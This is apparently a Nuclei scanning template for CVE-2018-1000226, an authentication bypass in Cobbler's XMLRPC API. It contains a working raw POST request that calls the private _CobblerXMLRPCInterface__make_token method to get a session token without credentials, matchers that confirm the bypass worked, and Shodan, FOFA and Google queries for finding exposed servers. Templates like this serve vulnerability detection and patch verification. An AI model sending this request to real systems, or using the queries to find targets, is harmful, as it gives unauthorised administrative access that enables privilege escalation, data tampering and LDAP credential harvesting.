Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via "network connectivity". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.
PoC代码[已公开]
id: CVE-2018-1000226
info:
name: Cobbler - Authentication Bypass
author: c-sh0
severity: critical
description: Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via "network connectivity". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Cobbler.
reference:
- https://github.com/cobbler/cobbler/issues/1916
- https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api/
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000226
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-1000226
cwe-id: CWE-732
epss-score: 0.72823
epss-percentile: 0.98738
cpe: cpe:2.3:a:cobblerd:cobbler:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cobblerd
product: cobbler
shodan-query: http.title:"cobbler web interface"
fofa-query: title="cobbler web interface"
google-query: intitle:"cobbler web interface"
tags: cve2018,cve,cobbler,auth-bypass,cobblerd
http:
- raw:
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>_CobblerXMLRPCInterface__make_token</methodName>
<params>
<param>
<value>
<string>cobbler</string>
</value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: dsl
dsl:
- "!contains(tolower(body), '<name>faultCode</name>')"
- type: word
part: header
words:
- "Content-Type: text/xml"
- type: word
part: body
words:
- "<methodResponse>"
- type: regex
part: body
regex:
- "(.*[a-zA-Z0-9].+==)</string></value>"
- type: status
status:
- 200
# digest: 4b0a00483046022100cbbe55ad024c859ac1665e459cad7edcd51bb1d35d3d6da229d20cb7936148a9022100c9e986699c2212f03de526d94e9cbe7ee858dbba07b02d4baf22d8e4082ec5b8:922c64590222798bb761d5b6d8e72950